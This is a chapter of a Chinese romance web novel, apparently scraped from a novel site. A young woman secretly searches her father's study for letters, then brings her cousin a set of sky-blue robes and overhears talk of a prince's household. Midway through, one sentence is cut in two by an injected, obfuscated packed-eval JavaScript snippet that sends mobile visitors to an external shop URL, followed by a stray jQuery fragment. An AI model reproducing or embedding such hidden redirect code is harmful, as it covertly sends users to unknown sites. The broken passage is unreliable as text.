文趣网 > 都市小说 > 捡到清冷兄长的本子后 > 11. 私会
    另一边,洛春枝躺在床上,却是翻来覆去睡不着。

    习惯性地摸了摸枕下,才想起本子被她放到祠堂去了,可早上陈夫人的话还扎在心头。之前本子上说要看清一个人的真面目,除了观察他的言行举止、对下人的态度之外,还能在他的案牍往来之间窥见端倪。

    她记得父亲有份与京中往来的文书,林玉璋既是与权贵走动频繁,父亲那里可能会有记录。

    也不知道书房里,会不会有她想要的答案。

    咬了咬唇,翻过身,明日趁父亲去上值,她要去书房看一看。

    “小姐,您到底要找什么?不用奴婢帮您吗?”青杏紧张地守在门口,不时往外张望。

    “嘘,小点儿声。”

    清晨的书房静悄悄的,洛太守前脚刚出门,她就溜进了书房。

    洛春枝翻了好一阵,手指在一叠旧文书里停住,封皮上写着“洛太守亲启”,她认得出,这是陈公子的字迹。

    她向外望了一眼,抽出信纸,只觉心跳快了几分。

    信上只有寥寥数行,提到了“王府”“林探花”的字眼,还有一些她没听过的名字。

    回廊外,远远传来脚步声。

    “小姐!老爷回来了!好像是忘了什么东西,折返回来了!”外头的青杏压低声音,急得直跺脚。

    她飞快地将信纸折好放回原处,吹灯时,步摇上的花不慎钩到了抽屉一角。将她的发髻缠在书案下,进不去,也退不出来。

    门外的脚步声越来越近,青杏还在焦急地唤着她的名字。

    她只好蹲下来,两手小心地解开花枝。那书摞下层的抽屉里,却夹着张明显新一些的信封。

    封泥上的名号,正是父亲当年的座师魏大人,也即为当今太傅。

    父亲一向敬重这位老师,怎么会把他的信放在这里?

    还没等她拆开信封,突然从头顶伸出一只手,将她拉住了。

    “小姐,快走!”

    青杏压着嗓子,拉着她就往后门跑。

    “诶,我的信!”

    洛春枝还没来得及看,只好又将信塞到抽屉底,二人猫着腰一路跑回了西院。

    关上房门,她才来得及慢慢喘气。不着急,只要那封信还在,她总有机会能够看到里面的内容。

    冥冥之中,洛春枝总觉得信中会有什么不同寻常的东西,或许就是她要找的。

    只是现在心想要从胸腹内跳出来,她喝了好几盏茶,才慢慢平复了呼吸。

    铺开纸笔,把方才记下的那几个名字一一书在纸上。

    只是她不明白一点,林玉璋……为何会与什么王府扯上干系?如今江州附近能称上王府的,能有几个?

    “小姐,您找到想要的东西了吗?”青杏蹙着眉道,“奴婢去打听了,咱们府里没有沈公子做衣裳的尺寸,他的衣裳都是从京城带来的。”

    墨汁顺着笔尖滴落在纸上,晕开一圈。

    洛春枝放下笔,将下巴枕在手臂上,长长地叹了一声。

    “小姐,要我说,您不然直接去问问沈公子?他一定会领情的。”

    “我直接去问他……这算什么。”

    青杏眼里亮了亮,拉住她的手:“您不是说要给林公子做衣裳么,就说,就说他二人身量相近,怕拿不准,这才来问他。”

    “啊?”洛春枝摇了摇头,自己那句话本就是胡诌的,况且……她总觉得表兄似乎也不喜欢那林玉璋。

    “这哪成,我分明就是要给他做衣裳,到头来还叫他误会。”

    青杏苦着脸挠挠头:“那让小少爷去问呢?”

    这倒是个法子……

    “好,我去找冬野问问。”

    一日后。

    洛冬野拿着那张写着身量的纸,站在她面前,脸上满是疑惑:“阿姐,你怎么突然想起要给林大哥做衣裳?”

    身长五尺七寸,胸围三尺一寸八,腰细二尺三寸二,胯宽二尺九寸三……

    看着纸上的一行行字,脑中竟蹦出夏婉说的什么“猿臂蜂腰”来,洛春枝手止不住地轻颤,耳根也爬上了几分红。

    “阿姐,阿姐?”洛冬野叫了她几声,都没有应答,“阿姐,你有在听我说话吗?”

    “啊,我,我在听。”

    蓦地回神,她将纸叠好交给青杏,问道:“你方才说什么了?”

    洛冬野挠了挠头,忍不住问:“阿姐,你……该不会是想给表兄做衣裳吧?”

    那双眼睛顿时睁大了一瞬,她微微张口,却没有回答。

    半晌,洛春枝又道:“你,你是怎么知道这些尺寸的?”

    这也太过精细了,她不懂量体裁衣的手艺,但洛冬野也该不懂。

    “墨书小哥给我的。”

    “你……罢了罢了,这件事你千万不要告诉别人,知道吗?”

    洛冬野点点头回了屋。

    原本他还奇怪,他从不觉得阿姐喜欢林大哥,怎会好端端地给他做衣裳。

    眼下,倒是明白了什么。

    -

    洛春枝翻开本子,对着书上“天青”两个小字发懵,怎么会恰好是天青呢。

    她原本是想挑一匹月白色的素罗,只是那布行中的月白料子,与他平日的衣裳相比,像是逊色不少。

    分明都是同样的颜色,怎么看都觉得过于普通。

    深深浅浅的绢布纱罗中,唯有那卷天青色,能勉强与他相配。

    洛春枝原本还忧心,他会不会不喜这般的颜色,可这本子上却明明白白的写着,就是天青。

    真是太过神奇。

    到底是他真的喜欢这颜色,还是这本子每每都能猜中自己的心意?

    她说不好,只觉得若事事真能顺从她心便好了。

    倒是布行的掌柜说到做到,三日时间一到,青杏便捧着一个精致的雕花木匣悄步进了门。

    “小姐,小姐,奴婢约了伙计从后门送进来的,没有人发现。”青杏的声音里压不住的有些轻快。

    她轻轻摸了摸这身价值不菲的衣裳,针脚细密,青袍白衫,果真好看。

    只是这木匣有些太过显眼,洛春枝想了想,还是等天黑下来,再悄悄地去找他。

    也不知道自己为何有种做贼心虚的感觉,她只是去给表兄赔礼道歉的,又不是夜行的暗卫,更非那私会的儿郎,怎的这般小心?

    -

    捧着木匣,洛春枝悄悄进了东院,踮着脚往表兄的房门靠近。廊下的灯被风吹得忽明忽暗,她的影子在地上拉得长长的。雨后的水珠顺着屋檐落下,滴答滴答,在她心头作响。

    “……王府那边最近有什么动静?”

    “林玉璋与工部尚书……”

    里面隐约传来断断续续声音,她浑身一僵,想凑近些听清,却不小心碰响了门框。门倏然被从内拉开,叫她险些栽了下去。

    烛火那头,光影在青年的脸上跳动

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810988|210825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,眉骨下的眼睛压着,半明半暗,像是有一瞬的紧张。

    “抱歉,我,我是……”

    洛春枝定在门外,没敢抬头,不知道该走该留。但方才的那抹异色很快散去,如往常一般清润的声音又在不远处响起:

    “春枝,这么晚,有什么事?”

    墨书向她行礼,没有关门,只是守在外头。

    心跳尚未平复,洛春枝理了理思绪,迈进房门。将木匣放在桌上时,无意蹭到了他的袖口,她忙缩回手,声音还有些发抖:

    “表兄的衣裳……上次弄脏了,赔、赔你的。”

    她坐在圆凳上,脊背微微前倾,两只手搭在膝头,垂着脑袋。睫毛在烛火的光影里晃动,看不清神情,只觉得是脸皱成了一团。

    李怀川没有立即打开匣子,那惯常清冷的目光染上了一层薄薄的忧色。

    “江州是端王的封地,我在此散心,难免听到一些传闻。”他的声音染上几分犹豫,像是在解释,又像是安抚,“春枝,这些事……你不要多问,也不要说出去,好吗?”

    她垂下眼帘,袖中的手指仍止不住颤抖,“我、我没有听见什么,表兄不用和我解释的……”

    说罢,洛春枝起身要走,眼前的人又叫住了她,声音比平时更轻一些。

    “春枝。”

    她脚步一顿,没有回头。

    他长长的影子落在地上,离自己越来越近,洛春枝皱着眉头,想要闭上眼睛。

    “方才……吓到你了?”

    “没、没有的。”

    那条影子仍是在离自己三步之外的地方停了下来,就好像……第一次在回廊下见到他,他把红签递给自己,也是站在离她几步开外的地方。

    她摇摇头,又点了点头,不知道该说什么。

    “表兄,衣裳送到了,我……我先回去了。”

    没等他回答,洛春枝攥紧了拳,快步走了出去。夜风簌簌灌进领口,只觉得浑身发烫,也不敢回头。

    李怀川目送着她的背影消失在夜色中,站在门边久久未动。

    墨书探进头来,小声问:“殿下,方才洛小姐在外面,属下没……没察觉。”

    “不怪你。她本不该听见这些。”李怀川垂下眼,似是缓缓叹了一声:“但她早晚要知道林玉璋是什么人,只是……不该是这样。”

    墨书抬眼看了看主子的神情,低下头没说话。

    手指搭在木匣边缘停了好一会,才轻轻掀开。烛光映在那天青色的衣袍上,泛起柔和的光泽。衣裳叠得一丝不苟,针脚细密,料子是上好的素罗。

    外袍,内衫,还是一套。

    李怀川轻轻抚过布料,嘴角弯了一下。

    “她倒是舍得。”

    他将衣裳取出,对着烛火看了看,只是这暗纹绣的是……并蒂莲。

    指腹滑过那并蒂莲纹,顿了一下,那日听说她去布行,是要给她的未婚夫做衣裳。

    掌柜倒是挺会自作主张,给她挑的内衫绣的是并蒂莲纹。

    “殿下,这洛小姐该是定了一匹素罗,属下瞧着匣底还剩了一些料子。”

    那匣中果然还有一叠折好的天青素罗,她拿到衣裳以后,竟也不曾打开看一看?

    “殿下,那这衣裳……”墨书小心开口。

    修长的手指在布料间游走,良久,他将衣裳轻轻放下,若无其事地将它叠得整整齐齐,闷声道:

    “别叫我殿下。”